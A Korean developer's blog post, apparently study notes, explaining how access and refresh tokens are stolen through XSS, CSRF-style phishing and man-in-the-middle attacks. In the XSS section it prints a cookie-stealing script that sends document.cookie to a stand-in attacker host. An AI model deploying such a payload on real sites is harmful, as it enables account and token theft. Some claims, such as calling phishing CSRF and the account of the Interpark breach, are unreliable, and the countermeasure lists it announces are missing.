토큰 인증 방식을 공부하다보면 많이 보이는 내용이 토큰은 탈취당하기 쉬우니 저장 방식에 대한 이야기나 보안에 대한 이야기들이 많이 나온다. 하지만 실제로 토큰이 어떻게 탈취 당하는지에 대한 내용은 많이 없는 것 같아 궁금증이 생겼고, 토큰이 탈취당하는 방법과 대표적인 사례를 조사해보았다.
토큰 기반의 인증 방식에서 토큰은 세션과 다르게 무상태(stateless)라는 특징을 가지고 있다. 그래서 서버가 상태를 보관하고 있지 않으며, 서버는 토큰에 대한 제어권 역시 가지고 있지 않다. 따라서 토큰이 탈취당하였을 때 그 즉시 만료 시키거나, 토큰의 유효성을 제어할 할 수 없기 때문에 한번 탈취 당하면 매우 곤란한 상황이 일어난다.
이러한 상황을 예방하기 위해 대부분의 토큰 인증 방식에서는 Access Token과 Refresh Token 두 가지를 사용한다. 간단한 원리는 Access Token의 유효기간은 짥게 가져가서 토큰이 탈취 당하더라도 그 유효기간이 짧아 피해를 예방할 수 있게 하고, 반대로 Refresh Token의 유효기간을 길게 가져간 뒤 액세스 토큰을 재발급 하기 위한 용도로 사용한다.
출처 - 카페24
토큰이 어떻게 탈취되는지?, 서버에 있는 리프레쉬 토큰도 탈취 되는지?, 만약 탈취가 된다면 어떤 경로로 어떻게 탈취되는지? 이런 궁금증이 생겼다.
토큰이 어떤 방식으로 탈취되는지 자세히 알아보자.
우선 액세스 토큰은 열악한 보안, 서비스 코드의 취약성 또는 기본 인증 및 권한 부여에 매우 취약한 보안 등 다양한 요인으로 일어날 수 있다. 그 중 클라이언트 토큰 탈취 공격 기법중 대표적인 XSS(Cross Site Scripting)공격과 CSRF(Cross-site request forgery)공격이다.
XSS 공격 기법은 보안이 취약한 웹 사이트에 악의적인 스크립트를 넣어놓고 사용자가 이 스크립트를 강제로 실행하게 끔 유도하여 사용자의 액세스 토큰을 탈취하는 기법이다.
예를 들어 커뮤니티 서비스가 있는데 보안이 매우 취약하다고 생각해보자. 게시글에 아래와 같은 태그를 넣어두고 클릭을 유도한다면 스크립트가 실행된다.
<a href="javascript:alert('hello world')">클릭해보세요!</a>
위 기법으로 아래와 같은 코드를 넣으면 어떻게 될까?
<script>document.location='http://hacker.com/cookie?'+document.cookie</script>
위의 스크립트를 실행하게되면 사용자가 가지고 있는 쿠기나 로컬 스토리지에 접근이 가능하다. 거기서 액세스 토큰을 탈취하여 서버로 전송하게 되면 사용자의 정보가 탈취당할 수 있다.
XSS 공격에 대응하기 위한 방법은 자세히 다루지 않겠지만 대표적으로 아래와 같다.
CSRF 공격(Cross Site Request Forgery)은 웹 어플리케이션 취약점 중 하나로 인터넷 사용자(희생자)가 자신의 의지와는 무관하게 공격자(해커)가 의도한 행위(수정, 삭제, 등록 등)를 특정 웹사이트에 요청하게 만드는 공격 기법이다.
요즘에 지인들의 페이스북을 보면 이상한 게시글이 하도 많이 올라온다. 이 사례가 CSRF 공격에 당한 대표적인 사례이다.
해킹 당하는 실제 사례를 통해 어떻게 CSRF 공격에 당하는지 확인해보자.
해커는 아래와 같이 이상한 메시지를 보내고 클릭을 유도한다.
클릭해서 들어가본 사이트는 언뜻보면 페이스북인데 자세히 보면 URL이 다르다. 이 사이트는 해커가 악의적으로 만든 피싱 사이트이다. 이 피싱 사이트에 로그인을 하게되면 내 아이디 비밀번호가 해킹당하게된다.
해커는 탈취한 내 토큰으로 유해한 광고를 하거나 게시글을 올린다. 그리고 내 지인들에게 메신저를 통해 똑같은 피싱 사이트를 보내서 2차 범죄를 일으킨다.
지인에게서 URL이 포함된 이상한 메시지가 오면 섯불리 클릭하지말고 전화나 카톡으로 먼저 물어보자.
대부분 리프레쉬 토큰을 서버쪽 데이터베이스에 저장하고, 로그인 시 혹은 토큰 갱신 시 HTTP 쿠키 (브라우저 쿠키)를 사용하여 Set-Cookie 응답 헤더에 리프레쉬 토큰을 넣어 전송한다. 그리고 Http Only Cookie를 설정하여 브라우저에서 쿠키에 접근할 수 없도록 제한하여 보안을 강화한다.
Set-Cookie: 쿠키명=쿠키값; path=/; HttpOnly
참고로 이 Http Only Cookie는 같은 서버에 의해 만들어진 요청 헤더만 포함되어 전송된다고 알고있는데. 다른 도메인에서 들어온 요청에 Http Only Cookie를 설정할 수 있는지는 조사해보아야 한다.
그렇다면 만약 이 리프레쉬 토큰이 탈취당하면 어떻게 될까?
액세스 토큰의 유효기간이 짧아 탈취당해도 안심할 수 있다 한들 리프레쉬 토큰이 탈취 당하면 안심할 수 있을까? 그렇지 않다. 리프레쉬 토큰으로 얼마든지 액세스 토큰을 발급 받아서 악의적으로 이용할 수 있기 때문이다.
그럼 이렇게 보안을 강화했는데도 리프레쉬 토큰을 어떻게 탈취할 수 있는걸까? 알아보자. 대표적인 방법으로는 네트워크 패킷을 조작 및 탈취 하는 방법인 중간자 공격이 있다.
중간자 공격은 공격자가 사용자의 인터넷 서버와 해당 인터넷 트래픽의 목적지 사이에 끼어들어 데이터 전송을 가로채는 기법이다.
리프레쉬 토큰도 중간에 가로챌 수 있다. 일반적으로 HTTPS 프로토콜을 통해 안전하게 전송되어야 한다. 그러나 중간자 공격자가 HTTPS 연결을 도청하여 헤더에 담긴 리프레쉬 토큰을 탈취할 수 있다.
중간자 공격에는 대표적으로 패킷 스니핑, 패킷 인젝션, 세션 하이재킹 공격, SSL 스트리핑이 있다.
중간자 공격은 Wireshark, Ettercap, Burp Suite, Fiddler 등 패킷 스니핑, 패킷 인젝션, 패킷 캡쳐를 할 수 있는 툴로 실행된다.
리프레쉬 토큰이 탈취당한 사례로는 인터파크에서 고객 개인정보가 유출되는 사건이 발생했다. 이 사건은 중간자 공격의 피해사건으로 로그인 세션 정보과 함께 리프레쉬 토큰이 탈취되었다. 이로 인해 해커들은 사용자들의 개인정보를 이용해 인터파크 티켓을 구매하거나 개인정보를 이용해 스팸메일을 보내는 등의 피해를 입혔다.
중간자 공격을 방지하기 위한 방법은 다음과 같다.
우리는 안전한 서비스를 만드는 것도 항상 염두해두어야 한다. 토큰 인증 방식에 대해 공부하면 나오는 내용이 보안 때문에 액세스 토큰과 리프레쉬 토큰을 쓴다는 내용이 주였고, 쿠키를 사용해라 세션을 사용해라, HTTP Only Cookie를 사용해라 등등 보안에 대응하는 방법이 주로 많이 보였다.
하지만 어떻게 탈취 당하는지에 대한 내용은 많이 없는 것 같아서 조금 아쉬웠다.
왜 해킹에 대응해야하는지. 왜 보안을 강화 해야하는지에 대한 중요성을 더욱 상기 시키고 보안 위협에 대한 대응력을 키우는 것도 중요하다는걸 다시한번 깨닫게 되었다.